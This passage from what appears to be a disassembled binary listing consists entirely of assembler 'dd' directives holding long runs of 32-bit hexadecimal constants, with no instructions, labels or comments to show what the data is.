		dd 0E673C9AAh, 3CB41FCCh, 0E864A554h, 4E21CF43h, 288FA40Dh
		dd 46C110E6h, 0BEA9B288h, 97FF40B8h, 0A7003961h, 495AB38Ah
		dd 51F212Ch, 6EECFB98h,	8378E82Fh, 3E2E153Eh, 0A934A739h
		dd 0A8008419h, 43DA83F4h, 0C8AE90B0h, 44209512h, 3EBED2E2h
		dd 7E2DC900h, 66D8EE3Fh, 35C40EE7h, 19C73C68h, 0B404CB21h
		dd 0C3C4F8F5h, 0A0F63380h, 3EA684B5h, 478235Ah,	2F139C2h
		dd 80CCE841h, 0DE79687Bh, 591301BBh, 45E5BF7h, 9961D03Dh
		dd 15219013h, 0FC95B020h, 38B10288h, 0D7788422h, 832DB0E6h
		dd 46806C8Bh, 0F022EFh,	0D4C083EAh, 1BAEA35Ah, 22058C77h
		dd 0F7E1CD95h, 0A4F4A480h, 8D0238D8h, 7221C0CCh, 5986CF00h
		dd 2C09E18Fh, 60A8BEABh, 44C8B4CDh, 0F4F5170Bh,	2C44A8h
		dd 9F12160Fh, 0A389DFD7h, 0F4D09700h, 52CB6F67h, 7E32B0A0h
		dd 3430B82Ch, 0AD5140CAh, 84FC52E4h, 2509CEF6h,	460080D9h
		dd 0D2899280h, 49542515h, 0D97850E8h, 11E8B74Ch, 0BE2C56D6h
		dd 0BC6F435Ch, 8F775AE0h, 0BFF75D07h, 0F012A3EFh, 9D68FAECh
		dd 0E5682C90h, 1EA18900h, 0C3F83AF5h, 666E0AFBh, 91BCBDEAh
		dd 0C0C84AD7h, 0EFF2BAh, 99D96FCBh, 682B7551h, 54BC9102h
		dd 0D9648CFEh, 1D8E00FCh, 0C67D45C2h, 830FD600h, 41E2F956h
		dd 0A7F1C761h, 4ACDA028h, 8B00FE2Dh, 4E2F5D0Eh,	0B154B175h
		dd 3BFA800Ch, 3490426Ah, 941A3A00h, 0E4055C76h,	30617667h
		dd 2251F2ACh, 0B14909h,	705E2983h, 0A594B079h, 0A7469h
		dd 0AFE103D6h, 0FEBC06C9h, 82623800h, 7786D82Fh, 49250B98h
		dd 1079FB1Fh, 5D800E1Fh, 0C7DAAF74h, 0B2B700B9h, 8A80D9DEh
		dd 0C6131CD7h, 90E2C978h, 5C46AA2Fh, 3C1F7096h,	48B37305h
		dd 6D0794A2h, 0A092238Eh, 0D602D519h, 600090B5h, 0E737030Ah
		dd 4FD4D014h, 20DA6826h, 25136311h, 5BF02051h, 4102889Eh
		dd 9FE896DAh, 344C413h,	0DEDCFD16h, 0E0A3E7D7h,	0DF4E2AE0h
		dd 7B845201h, 0AA2F837Ch, 42D91870h, 58633CC7h,	2D8D3EAAh
		dd 0F90429C5h, 42E800E4h, 0A6A01C9Ah, 0A0529E27h, 0F15FE6Ch
		dd 8A3E1297h, 5CA88255h, 0DC755422h, 74986968h,	0ED0177F5h
		dd 3B58ACD6h, 25208D97h, 0F0AD1EE7h, 3C328082h,	21468357h
		dd 0C8965F05h, 28C02CB0h, 2E98D58Bh, 9828F0h, 6C1D45D1h
		dd 0CC008A92h, 998D1AB3h, 2573FAF2h, 10C4437Fh,	0CCB4E51Fh
		dd 3D3E41C0h, 0E22BF419h, 632E00AAh, 979A8580h,	0F904694Bh
		dd 3E67BFC3h, 90F43093h, 4124A23h, 68AB4CAEh, 0B7148C7Ch
		dd 59F03D00h, 462E0864h, 20E75F6Ah, 0C84E43F8h,	0DE5EF700h
		dd 0DAA3EC21h, 320E0149h, 0D679246h, 96D0929Ch,	9F2CFC80h
		dd 2FDAE88Ah, 24CA2473h, 7D002471h, 0D1AA5D8h, 0BB340065h
		dd 85CF4FD5h, 4E00C6C0h, 0F40B8B4Dh, 99A2681h, 52959963h
		dd 5A5C3C72h, 4309005Fh, 980CDC85h, 78253B02h, 244B7064h
		dd 10596CC2h, 0E38B704Dh, 0C02A5D5h, 0C648AA79h, 217C1D00h
		dd 780603DAh, 46906647h, 4E14BCFAh, 2A484F7h, 0F0C1AE24h
		dd 24785AF1h, 169C11DEh, 80E0E2CBh, 2630F865h, 1E79F46Ch
		dd 24AD5544h, 61B23033h, 0C94BDA2h, 0A8076F43h,	135CB9h
		dd 474E03D3h, 0FB544F0Eh, 0C1226C98h, 0EAF125C9h, 8C7F411h
		dd 20855BABh, 0AD770894h, 0AE35E600h, 0D3674807h, 0CC2E3817h
		dd 10442CA7h, 38453E00h, 1E394EA1h, 1D89793Fh, 833D2032h
		dd 0D2C7D75Ah, 0AA4482A4h, 9C00C8C6h, 0D6F5BD51h, 87FE32h
		dd 8EF86DAh, 2EC45CA2h,	0A9E4EC12h, 0DC8044A8h,	0B6410E0Fh
		dd 1DD57604h, 68E82B16h, 1397BA12h, 3CEC8C18h, 0D8F90F00h
		dd 0D15DE410h, 0FC49056Ah, 0C2FF650Ch, 51297D54h, 251901E4h
		dd 0EC68B3EFh, 0D676F967h, 0D891625Fh, 0E070FA8Dh, 0A78B886Eh
		dd 1360C490h, 0C6026B11h, 3F471753h, 847CF0ADh,	0DA1EB7F4h
		dd 402CAA89h, 1E832360h, 87570F5Ah, 41A403D1h, 27ABC08Dh
		dd 0AD1FAAEDh, 26C45C62h, 44B4129Bh, 0FFE500C6h, 0D8D0109Dh
		dd 0D516495Fh, 8094F7F0h, 44885CC7h, 0ACE14174h, 0C0D4D61Bh
		dd 9F7B0283h, 954BD8B4h, 0E7622868h, 318F3A02h,	0D947540Fh
		dd 0A6910298h, 287EF8F0h, 49128361h, 6ED71180h,	0D8369904h
		dd 81FEAE38h, 15473351h, 67F8FF55h, 0E228D375h,	81DC2494h
		dd 0F898BF00h, 17E2C61Bh, 84632D19h, 0E8C01014h, 0D29CAD0Bh
		dd 6AAB88B9h, 0EC9FB020h, 1D77002Ch, 437B3110h,	0EE15B39Eh
		dd 486CDE51h, 0C0A852C0h, 0D92DABB1h, 918F00E6h, 0B77FF7CEh
		dd 4404A85Dh, 85E11676h, 0F0955F31h, 0DC0057EFh, 7CA89D8Eh
		dd 24544E42h, 40044570h, 7A522FFAh, 1D8888h, 5D63D83Ch
		dd 440F7876h, 0C8545300h, 8D93FD59h, 9646EE07h,	0B2244F04h
		dd 0CE00C49Ah, 0FA671218h, 0D4E2E88Dh, 57F0E004h, 2C007302h
		dd 0E7906D8Ch, 28D22E1h, 6131D898h, 4454C0B4h, 7880251Ch
		dd 129F90D1h, 27818A41h, 0E8958B2Ch, 5D278D7Dh,	2F1D697h
		dd 60EDF0B6h, 0CF4408D6h, 8D045A4Bh, 967CE302h,	0CC208427h
		dd 7C158Bh
		dd 2D22B8D8h, 87D58AFFh, 4F445C90h, 542F7893h, 982E08F9h
		dd 71315E90h, 0C0611B20h, 7C005A4Bh, 948DECB2h,	2D92A1Ah
		dd 76FC8863h, 2C792C97h, 7A5D2700h, 4B7558E0h, 7D0C8C2Ah
		dd 4E002075h, 8EFBCE9Fh, 122AB5D5h, 885E47Bh, 8496C9A4h
		dd 0B51B488h, 0CC70E9C4h, 0F2516C8Ch, 55BB008Ah, 13FCEA18h
		dd 12D994Dh, 0F6AA2E48h, 0D29545C3h, 0B4207474h, 3AAB6B2h
		dd 95F32481h, 208926ABh, 0D1A04C3Ah, 0F20E597Ch, 80E829C3h
		dd 0D5903124h, 153D1186h, 58B90057h, 71D25D01h,	9CAC02BAh
		dd 3C1B46DAh, 0CD784460h, 749064B1h, 2540D4C8h,	5899867Fh
		dd 0AA070C63h, 63EB56C8h, 0B7C87226h, 735A1B50h, 43708CCh
		dd 0E2C2CB62h, 24F8BC7Dh, 0C3402813h, 12B5C534h, 0C8862C9Ah
		dd 7E0009F4h, 774BF6E1h, 3DFAEDC4h, 0CFA792Ah, 6A9F94Eh
		dd 7C402B71h, 0C98D22A4h, 8C773E12h, 4FBB9C04h,	398C3012h
		dd 620FEB02h, 0EFD38A87h, 0EAA9E0F2h, 71DDC9Ah,	72603EDh
		dd 5876E6F1h, 90B2FE27h, 0AF4EFCh, 0BE978CD9h, 79924401h
		dd 0D5077417h, 60C4C8h,	8EAD76E6h, 0BF41F42Bh, 45001670h
		dd 0FC4B938Bh, 1D70F95Dh, 9377449Fh, 0AC401F54h, 76E6090h
		dd 0F0024E59h, 0B6D89116h, 0F80516Ch, 0F1C026A4h, 7315E3B2h
		dd 2F057CBEh, 0B4D24490h, 0D610604Dh, 49228469h, 40BC9C40h
		dd 0BDF3B9CBh, 87513324h, 5091F700h, 2017D74h, 0DA4CC29Fh
		dd 9068E14Eh, 252CFF1Eh, 7E409851h, 0D633BCh, 174BC17Bh
		dd 0F0D9E36Ch, 2DA42800h, 26C80349h, 5C6F76D3h,	5389FCC3h
		dd 8A388048h, 4B9E90Fh,	0B8539334h, 7F6390C8h, 392A7ED6h
		dd 762CD03Fh, 0BAF2051Dh, 0AC0CC456h, 80558E3Ch, 7A8C4859h
		dd 0CECB5FFFh, 3A2114A0h, 74600E94h, 33C99C0Ah,	7C64002Fh
		dd 25C78927h, 4498C378h, 7A481F29h, 74204B00h, 0A749A3h
		dd 6F5E16CBh, 0ED230919h, 0CA4D8114h, 9B40DE60h, 0C4BC74BAh
		dd 29F801D4h, 0E61C8199h, 8D02E4Bh, 2807D82Eh, 19E895F7h
		dd 7060D7C9h, 1ECCF0A7h, 4800C695h, 968B6837h, 55448864h
		dd 75210004h, 0E6B4A3C2h, 29393525h, 0A188F22h,	4A54A53Dh
		dd 72C0BC27h, 649BDCB8h, 4B7A182Fh, 705A12h, 98BAF7E8h
		dd 0FC3C239Ch, 5362351Eh, 72A484A5h, 0E363405Dh, 19079266h
		dd 41127A11h, 0C942B300h, 94B75E98h, 23048402h,	40F0E264h
		dd 0D040AFD8h, 78122478h, 8018A8D5h, 199E22AAh,	99B4F0EDh
		dd 0A32C3844h, 0D90C00ADh, 880EE633h, 0D800FEFCh, 5DE821Ch
		dd 4C422A4Bh, 0FA250028h, 0A980C8C4h, 910098F0h, 5AED4AD0h
		dd 252B0374h, 0DC816B14h, 680D38F7h, 0C6A4C008h, 9E53Ch
		dd 8DEAAB36h, 14C8339Bh, 0C70B490h, 2F4B0703h, 0C84826CAh
		dd 390DDFFDh, 529140FBh, 0DB2C0F7Dh, 33FC6029h,	12A1F58h
		dd 3FCFEE5Dh, 200DCB72h, 9F1CF87Ah, 56ECD591h, 78884A13h
		dd 0CA70117h, 9DA28E4h,	80A07814h, 1ED7E37Bh, 763E01ADh
		dd 0D999ED6Dh, 74056B66h, 84E1FE47h, 0A8017823h, 818B7157h
		dd 8885E809h, 0A828703h, 8835FDEBh, 3C92DDC1h, 8E809DCCh
		dd 856F256Ah, 0FA0CC82Dh, 28B838DEh, 7C6BF490h,	74F06CAh
		dd 41C4B206h, 0E3BEEB01h, 5A6C82B3h, 1CEEB8E4h,	0F78F04F8h
		dd 32F08320h, 7FD081Ch,	1DBC3441h, 0E1F07F82h, 46700084h
		dd 0AFC222EDh, 3D002389h, 0BAC935F6h, 3A55E0h, 225BE542h
		dd 0B24162ADh, 3740A51Dh, 0F8E9782Fh, 0A3E001DDh, 0DA618E11h
		dd 0F8CA20ECh, 0F4681D03h, 3E90A06h, 39D8B6A9h,	8E0B776h
		dd 0A5072215h, 0F247C1BDh, 81FF4964h, 87512D0Dh, 0A7313030h
		dd 29B8004Eh, 0D4B240h,	799A800Eh, 57C211C0h, 0DA886F1Fh
		dd 7A661Fh, 99277FFh, 6EA9133h,	0B30CD016h, 6F60081Eh
		dd 3305DF21h, 4FF200BAh, 7196C6FBh, 6A001E0Bh, 0AA1F722Fh
		dd 0A1C1B5h, 939B3242h,	8D91DA31h, 0A50DAF01h, 969EB2Fh
		dd 325130B0h, 0B97AFC18h, 0FA11DE60h, 15433C9h,	0E4AA0B8h
		dd 0D16CB05Dh, 742180CBh, 40F833CEh, 0BAF502FEh, 0E6154462h
		dd 43465A60h, 92D942C0h, 6F40C6h, 0D94DA1Bh, 0E502ED7Ah
		dd 24073106h, 803273h, 9F9E5557h, 0F3FE85C5h, 8CD8E33h
		dd 0A8210078h, 0B87A9E3Ch, 0E8F94BB6h, 4054CEF6h, 0F918FA9Ch
		dd 0E910DD2Eh, 1A1B079Ah, 3448FD6h, 9C90124Ah, 0FB00CFDBh
		dd 0AB888E18h, 693183h,	773D300Ch, 87CE8C1Eh, 5528D700h
		dd 880F6BEAh, 4BDF00A6h, 0D8A85C65h, 0F51C110Ch, 7C9815h
		dd 0BA1D57EBh, 0E4A525h, 29BFCD2Ah, 1FB6019h, 0C5F4B200h
		dd 0D3B36312h, 0F2330097h, 18D80A87h, 49006975h, 680C06D7h
		dd 0F85801h, 4CC47E73h,	0A197A7ADh, 0CE261703h,	0B809D312h
		dd 812528C1h, 0C3044B35h, 0F3C293h, 3E4BDA48h, 7A1A0F16h
		dd 34B0BE07h, 4D8089CDh, 78B9320h, 0DAE081F5h, 281526CFh
		dd 2E110E42h, 0E82711A7h, 11D8AC11h, 0F011BDB2h, 28832879h
		dd 29C83C90h, 0CB7F85A6h, 0B88EC03Dh, 0D00E22Fh, 549852EFh
		dd 6F17D7h, 37FE01F7h, 0BF236A09h, 86A9A807h, 0AEC18E2Eh
		dd 0D5D82A62h, 0F9510098h, 1697A619h, 3900D01Dh, 49F425EFh
		dd 730F14BCh, 41CA0017h, 35797229h, 0DD016611h,	0FDCCD69Ch
		dd 7F07D10h, 465009Ah, 0C9F2BC1h, 45005DDCh, 4B329584h
		dd 30B70B2h, 37C2CE34h,	1100B4A5h, 6FFB14AEh, 6DDF2Bh
		dd 0F1CB3BC3h, 0FE124003h, 7F225A00h, 9CBE88DBh, 6ED239ADh
		dd 0ACE49E98h, 3301EA95h, 81AFF4FFh, 98FBE62Eh,	39DDB556h
		dd 7BBE42D5h, 0E46AAAh,	0A6FBEDD2h, 0D6B997A5h,	2E9B7800h
		dd 0CA4ED913h, 7CAD0646h, 98101CECh, 0B4075BFAh, 0BBCF7AE8h
		dd 0B58F5290h, 5F2C0E45h, 8D4084BAh, 0CA867BDAh, 0E8ADCC00h
		dd 2C01234Bh, 0D970C018h, 0BF6BAB74h, 0E0D26900h, 0B1EEFCE7h
		dd 5CA6009Fh, 50165FDCh, 38006D45h, 0E1C7EFB6h,	4BC30Eh
		dd 0BC014885h, 34121842h, 0B8F7AF00h, 31A923DEh, 646000BDh
		dd 59DF9CE4h, 0AA060B61h, 0B63B99C0h, 0A8BC00B8h, 0D196DE76h
		dd 311D1F47h, 0AC0977B4h, 0ADE700EEh, 0D51152h,	84CD9BFCh
		dd 39A649DBh, 0D4C9FE0Eh, 18FD20CBh, 14AA05h, 0F52BBBB7h
		dd 49EDB870h, 0F9214160h, 1374A3h, 9D472173h, 569C88C0h
		dd 3BCA7020h, 3E000FAAh, 3B66CECCh, 7B1FEC0Dh, 3F00A849h
		dd 0BD34B875h, 6A700B5h, 82A6456Ch, 170F4DEAh, 2069E7D5h
		dd 0D1A84A87h, 12CD00D0h, 0FC1C33B0h, 0C6072279h, 0B29443EFh
		dd 4E4A15C0h, 8CB0ED6h,	0C1E0BE04h, 0C6A2F0F5h,	6AC28E01h
		dd 237973CEh, 0BB33D4h,	1B4F97F2h, 1E2613A8h, 53839B01h
		dd 0E9A7E740h, 7DDC0170h, 96E50021h, 0D488064Ah, 0A109AE58h
		dd 7478C14h, 8E64C3BBh,	9DD01890h, 9B8800FFh, 9E754187h
		dd 3F009984h, 0EE4AB447h, 59A8D3h, 0BC956E3Ah, 0D503EC5Bh
		dd 995A7103h, 90E57064h, 28B3E7C3h, 58FD06E3h, 4F302F2Ch
		dd 0E45BD640h, 0B01240FEh, 5800E10Ah, 0F495C0B8h, 0DB090038h
		dd 79ABEB66h, 0E0600E8Bh, 11824320h, 74E013Ah, 90CE7B62h
		dd 498420E5h, 775CBB44h, 0D0EC00E7h, 0B80EFB76h, 32017042h
		dd 6D1F695Eh, 0EC24A36Bh, 12C3013Eh, 0FA81A5B1h, 518C53DAh
		dd 0FD8E8BC9h, 55109FE2h, 757B0602h, 9AC301E6h,	1728C47Fh
		dd 0B2AACB28h, 6B1E9801h, 3F1D1B4Bh, 7A7205E0h,	0F8409FEAh
		dd 5D243837h, 2D146074h, 4A3A00F2h, 0B630D2B4h,	0F4DC0191h
		dd 3B8E8B1h, 93E882E9h
		dd 0E04EE0A3h, 0F702CB4h, 0CFAF4A95h, 0CCBD7D80h, 8A001582h
		dd 1442A2DAh, 6A57F5h, 87A985E4h, 61E7C167h, 43277E00h
		dd 0D8A6CF49h, 91FCFD44h, 0CE4E09F5h, 4C007D15h, 0DEFB99F1h
		dd 52E61102h, 40FCEA0Ah, 164FB850h, 1C204163h, 4C5DC010h
		dd 3631F66Ch, 0EB73DE00h, 994582E2h, 0EA4397BDh, 0B07A7198h
		dd 170EB570h, 6052FE9Fh, 5EC6A33Eh, 660001Ah, 88A04122h
		dd 544821D8h, 4730050h,	0B9A7E22Dh, 0DEAC041Bh,	0C0E12494h
		dd 0FB0615CCh, 0E39E6200h, 58B10371h, 0C6CF0016h, 3BDA3D8Ch
		dd 320F7ECCh, 800D26C7h, 1AF02820h, 6FA80765h, 0D07BA75Bh
		dd 0DE4DC122h, 0EE5C5913h, 4041BF00h, 0C44BEBh,	0A9423911h
		dd 1B88E505h, 53AECC26h, 0D9B47900h, 0B67376h, 7030DC3Ah
		dd 12DE817h, 683BC87Fh,	0F3AF04A5h, 0C98160C2h,	302131A7h
		dd 0CBC58600h, 0BD8900A5h, 36C820EFh, 0C3036A19h, 0AC162E95h
		dd 228FE80Eh, 5D1300F0h, 7AC4528Eh, 691DEDCCh, 0BA86B74Ch
		dd 738E4C8h, 934F9933h,	84157053h, 4007D9Fh, 0B0FB2F1Eh
		dd 7A92C9h, 8317669h, 9C8647C6h, 0BC0F7C00h, 0DA51FDA3h
		dd 4A7528D1h, 0FB0300BDh, 7FAB5CBDh, 0C0E1827h,	0E057D380h
		dd 5A55BE0Fh, 0C21F3F61h, 0D726B180h, 8CE5F38Fh, 3445F70Eh
		dd 9C092FBEh, 604EE680h, 31D1569h, 0D02C7816h, 81C0B3DBh
		dd 0A3013DC9h, 0D7316372h, 788020A7h, 37239D4Dh, 7103D995h
		dd 65929915h, 0B880390Fh, 0AF1EA680h, 46318A83h, 246069E0h
		dd 0F59C7D38h, 5DD3008Fh, 25DCE9EAh, 0A709CF55h, 570CF3BCh
		dd 733C1780h, 0CA3A1BD3h, 4B5B0083h, 7127B2CBh,	0F3BE01BCh
		dd 9A494475h, 86296076h, 0C4B7F512h, 0EB16C09h,	0AF6B0034h
		dd 0E64D87h, 0E2116664h, 1DC992C4h, 126A3312h, 5D76DC04h
		dd 846DBFC0h, 93A437CBh, 2E407019h, 0F3011F08h,	0EFCCE946h
		dd 0A6EC8C6Ah, 6C430079h, 64EC181Eh, 6DEAA5B2h,	80A810C0h
		dd 103FA28h, 92A9AABFh,	0E0E9FD31h, 4605B9E4h, 392DC9BAh
		dd 71CAE080h, 0BEE207DFh, 60E12921h, 6795EA92h,	6FC3AD07h
		dd 0F9603B64h, 1852C0h,	912E9C11h, 9672D41Fh, 98864B00h
		dd 0A8A7CC8Eh, 0A1140090h, 46533448h, 7AFC94C8h, 103B7C31h
		dd 1BE752BCh, 398F1651h, 0E0F76A89h, 2D3D40FDh,	0C9060061h
		dd 0E2FEF659h, 5C3F0094h, 7151B7D7h, 720BDA68h,	0CA4BAAh
		dd 0D2B9D4E6h, 0B8225060h, 8F991D4Ch, 0AA484319h, 80ED9FCBh
		dd 0C225516Ch, 84245300h, 5DD60AFAh, 0B677445Ah, 2AB4EB00h
		dd 96DD7F8Dh, 0A53E011Bh, 0F80494C3h, 4F243051h, 0EA642000h
		dd 42CA96FBh, 71DD02A1h, 5FE1D7C6h, 208DE0C0h, 0FC8648h
		dd 0B2E0B353h, 9DE835h,	42B409DEh, 0DDA0518Ah, 4834001h
		dd 95E4D9A5h, 7375460h,	423EB652h, 4E6A5016h, 2017FBDh
		dd 0CE48C7E8h, 0C4E03263h, 2DF200DCh, 4603060Ch, 5E0EFDCDh
		dd 96B37423h, 9033D80Bh, 504C868h, 896CB0CEh, 11A8D2B6h
		dd 0E66098C0h, 78EE5502h, 0C85DEF3Bh, 0B530154h, 0B066093Eh
		dd 0B8D0EC20h, 4290E00Fh, 0EE7C3900h, 0F8F381E3h, 7EE60067h
		dd 0E3FB8A7h, 0D5007F76h, 0D249FA1Ch, 38E3E4h, 0D9A8BBBFh
		dd 0B7CF3512h, 63ED8D16h, 5F80541Dh, 0A468A2CEh, 0FF660306h
		dd 0C49171C7h, 2FEFFDE0h, 1679D600h, 0C1531E5Eh, 0EE7A0ED5h
		dd 5400822h, 0F4677668h, 39D07300h, 0DD71B43Fh,	18A998BDh
		dd 18602058h, 0A90174F0h, 0FF62A41h, 0C0EC48D1h, 0F8BF608Fh
		dd 0B3755E3Bh, 27A59500h, 1956E58Eh, 4D7A3CA0h,	4B266A80h
		dd 0E62FE979h, 3343CB07h, 9EE1C004h, 2CC43408h,	0FFE0026Fh
		dd 5A746473h, 65754DE0h, 0B4A8DB76h, 0AB00770Bh, 0AF3F286Bh
		dd 0AA8247h, 0B29833F1h, 0E422EF20h, 0DB763800h, 2D5AE373h
		dd 40AE0006h, 0B847D404h, 9B1F7B55h, 803B3E08h,	1E3A6418h
		dd 0CE9239h, 0E340DF87h, 0BA4BEA7Dh, 3037CA0Eh,	0AD8DC0F4h
		dd 90CBD93Bh, 0DE4F2984h, 11E2098Ch, 0C29E2480h, 0EA1EA4F5h
		dd 84C01A41h, 7E0EF3A0h, 0A8B40112h, 20DB883Bh,	131070C3h
		dd 3800E7EAh, 561D5914h, 0B82D635Ah, 40D82284h,	70E2ED26h
		dd 28C20900h, 3C06E15h,	7E473276h, 8A933B25h, 1D7AAAE8h
		dd 5F81AD04h, 51806BF0h, 7887558h, 28BEA647h, 93D17314h
		dd 9540BCB2h, 57058F65h, 0A7C01AC6h, 1BC781FEh,	0BB3080EAh
		dd 0E2BFE8FBh, 15812E40h, 0D500BD78h, 5F0EE060h, 7100042Ch
		dd 65284BC4h, 2939BFh, 0D45033Fh, 31A83705h, 604ADE4h
		dd 0DCBC2CCDh, 0F7435480h, 21491709h, 0FA5840D1h, 0C348A7EEh
		dd 9B3C5BFCh, 2D23801Dh, 0FCB32F65h, 3285014Dh,	66AA15C2h
		dd 996ED4CEh, 45FD5501h, 7402BBA2h, 24B4820h, 0C849E8F8h
		dd 0B848CAFBh, 9C0EB0E5h, 9ACD5Ah, 0C2BA3ED0h, 30EB25DDh
		dd 0FEA74C20h, 44002F13h, 0A239EA10h, 0A0B9B6h,	8FCAD0A3h
		dd 3507C4Eh, 0E726C0FAh, 9F008A3Fh, 0E5FB5BEFh,	4D9E0118h
		dd 0F2F1A9ADh, 0F71060B4h, 863AF5F2h, 3B1B9285h, 0F9913400h
		dd 0C21A9947h, 0A28B711h, 61F7C080h, 951C8D6Dh,	48406036h
		dd 30A5395Ah, 9DE200C5h, 46A2F4FFh, 7BEAEF32h, 65BF25h
		dd 31D24868h, 0F9849209h, 0DE003C72h, 87CDC184h, 8F04F257h
		dd 0DAEEE858h, 555C3880h, 35E318F3h, 0EC7C10D7h, 3C37F01h
		dd 64AAA08Dh, 586718E8h, 460791E7h, 96322292h, 282E4198h
		dd 0B04081Dh, 6FC05F7Bh, 1C6561E6h, 448F3827h, 921A8CAEh
		dd 0E460E85Ch, 122874D2h, 8902C8FFh, 0A3B05732h, 6980483Dh
		dd 0D19F39C2h, 617403CEh, 0DCF0FB79h, 650C6075h, 501520E1h
		dd 59549CF9h, 94A5F4A1h, 177DC81Eh, 1D0294A4h, 408AF44Fh
		dd 1675DD64h, 0EE94D4E1h, 0FCB4FB00h, 78836ADCh, 2CD10053h
		dd 82F7C8FAh, 0CF1DAF47h, 9890A6Eh, 69180BEh, 17EC4BE4h
		dd 40884D69h, 795D72Ch,	0E4A02A8Fh, 1A0FCAA2h, 0A0EE0840h
		dd 74993D49h, 44C03C58h, 24E92687h, 0E298D01Eh,	1202227Bh
		dd 14E659EBh, 2AD46980h, 46110E1h, 0EB3898FBh, 0BAA705E2h
		dd 2B1856h, 0B77872A4h,	0E94920B3h, 0EB370088h,	26C496Ah
		dd 48A3EAD7h, 0A5000F6Fh, 2ADB7A8Ah, 0BE054137h, 538E1DF7h
		dd 5CF09C00h, 565243Ah,	5135AFCAh, 0B8B780CBh, 6202ED98h
		dd 0DF093F32h, 0F5BDE070h, 9D0F0E5h, 226B4144h,	0C00749Ch
		dd 3748AA2Bh, 0A29402Ah, 0B7E9DFEFh, 6EF800E4h,	0C6D7CA24h
		dd 0DAF51090h, 805250D0h, 0DED01E4h, 18080ABCh,	0AC52C3F9h
		dd 0ACDC88BEh, 5D802D00h, 186E74E4h, 280904FFh,	700CF2DEh
		dd 103C19EDh, 81C2032Fh, 0FC9D463Dh, 7310D4A0h,	27DFBE00h
		dd 9076E67Bh, 41D3000Ch, 0D4D08B4Ah, 0E0FA78A3h, 0FA5A1A3Dh
		dd 0A58D70C0h, 0C035B17Fh, 68579B36h, 0E0EAC453h, 8DF05D60h
		dd 175AE483h, 9ACC5ECh,	102064C8h, 6687D648h, 9F28A965h
		dd 2F0C8080h, 0AD0500FBh, 0EB62FDFEh, 3048E0BCh, 731300DCh
		dd 19A8679h, 8B4700FAh,	9E52A2D6h, 0D225DF29h, 3676A5h
		dd 4B9BC205h, 9C288E18h, 2303A0FDh, 7BC2843h, 7273F0B2h
		dd 440E00DAh, 0FB6222A8h, 9D004DF4h, 4A490DC0h,	39FDFA10h
		dd 850292A2h, 61AEB9CAh, 19364660h, 1B426404h, 0A0C0A660h
		dd 4695156Bh, 4324504Bh, 6E0D8000h, 4F830AC6h, 0C49C0Fh
		dd 5E7F60F5h, 56034D9Fh, 0B7EDF48Ah, 1230D7A8h,	0C09B2FE6h
		dd 3A639EDAh, 0E0A8D713h, 5A0F7033h, 278C1F19h,	0C9D7EB6Dh
		dd 6B349DF0h, 0AF25241Eh
		dd 140E2CD8h, 7E0798BEh, 0D0432DE0h, 0E616B46Dh, 5441B300h
		dd 0EBF31727h, 469B011Fh, 9568F2DFh, 4DCAF879h,	25E58200h
		dd 0CCCB521Bh, 0F68900E1h, 5994ACCFh, 0C8B15804h, 57A2DB80h
		dd 1C9C354h, 0D8EEB27Ah, 406B4278h, 3BF2BE8Ch, 5B792B01h
		dd 8A1ACD9h, 0F192B6ECh, 3E8AC030h, 38FC502Eh, 3FBF65FDh
		dd 0C4009B3Fh, 15D78218h, 78002529h, 4A8451FBh,	0ECC0BECBh
		dd 6390007Ah, 3E30B5CEh, 0A11E88C4h, 18941FAh, 356C605Dh
		dd 620F0060h, 6BB44E7h,	70019B9h, 65D7AC1Ah, 98238FFFh
		dd 906000F1h, 9B5552BEh, 3600ADE7h, 9194B40h, 9C6DA86Ch
		dd 53CA00F8h, 7A169244h, 803AC801h, 190EA652h, 797D834h
		dd 155211Ah, 8E75109h, 817470BEh, 0E5C7D106h, 0F028A630h
		dd 0E5C27801h, 61D8FEC0h, 594E20BFh, 0B9120029h, 2576FE6Ch
		dd 500FE1B2h, 1D819E80h, 3A1C9D6Eh, 96C02070h, 6FD2169h
		dd 5C7D2A09h, 0D1340820h, 93C36439h, 0E081B1D3h, 721D70h
		dd 0C6ECEA0Eh, 0E2280F15h, 9E00B2F8h, 1E2FCAFFh, 0A75453h
		dd 2E1CD1A8h, 3C0DCC7Eh, 3570F700h, 98A06CFDh, 4BCF0FCAh
		dd 3EA70AA4h, 934940BBh, 0DFFEA7DEh, 6A0EF407h,	73073634h
		dd 433D060h, 0CCE8BDh, 0D4EF93F8h, 0D80B7CECh, 8036BA00h
		dd 0F99D586Bh, 8677A9h,	0C134FF99h, 621D014Ch, 0D310B00h
		dd 90754D4Eh, 6D1E0048h, 2DB36543h, 5007BEFh, 0BE309D20h
		dd 92CF1A16h, 2C5E0500h, 0E2260760h, 0FBA184F8h, 9D44A0h
		dd 0FC4D3AC2h, 2DD096B7h, 0EDF5B80Ah, 0A100D009h, 43E461C4h
		dd 0C837F09Dh, 79809A29h, 3240BAF0h, 42D9007Ah,	0B008E424h
		dd 0F11EA0A6h, 2D81AC39h, 3CB43ECCh, 72F552DCh,	0E2D8985Bh
		dd 2ADA00A4h, 386DC973h, 2800F168h, 0C4254A1Fh,	710C7A34h
		dd 0CAC54C3Ch, 8D59B800h, 74B1B62Bh, 0CA703800h, 9F33F09Bh
		dd 3B213AFAh, 8FF68783h, 62EBF5CEh, 0C8D5E288h,	0D6835F00h
		dd 93F76068h, 0EFF20044h, 0BE0AB0A5h, 5918C8CEh, 0C510B951h
		dd 78800B75h, 778C9447h, 5E00D938h, 0DA3FBA3Ch,	54E88F5Ah
		dd 0FE199C2Eh, 5AE001Fh, 9680EDC5h, 0E30EBCFh, 0F29DA866h
		dd 0B67A3C97h, 0B172380Fh, 115F8F80h, 8900A633h, 4175A7EEh
		dd 0FF3D9E9h, 0EDBE8D8h, 0F180B0A9h, 65F6EC45h,	95511C13h
		dd 6BB500EEh, 690AAFF2h, 0F55E3900h, 21370C0Fh,	244E0038h
		dd 812FBEE5h, 33786E8Eh, 91654700h, 31FD22F8h, 4DEE0021h
		dd 542CA7DAh, 4A00E292h, 0B0E54E64h, 21A46E4h, 6D0CBE45h
		dd 9CC05CC8h, 0D9004DE1h, 0C471B6F6h, 9A8899h, 8E8A3EA0h
		dd 0DDCB808Ch, 0DA0005E4h, 0DB1684C0h, 4D53F1h,	43711812h
		dd 0BB88D120h, 0CD03400h, 4C1CBC4Fh, 0C82C0EA6h, 0DB603930h
		dd 32773AC3h, 0A9D948h,	16A6D746h, 0E0B02BA7h, 688B069Ch
		dd 14261B40h, 0DECE4B06h, 650DFA6h, 39D347A2h, 69001183h
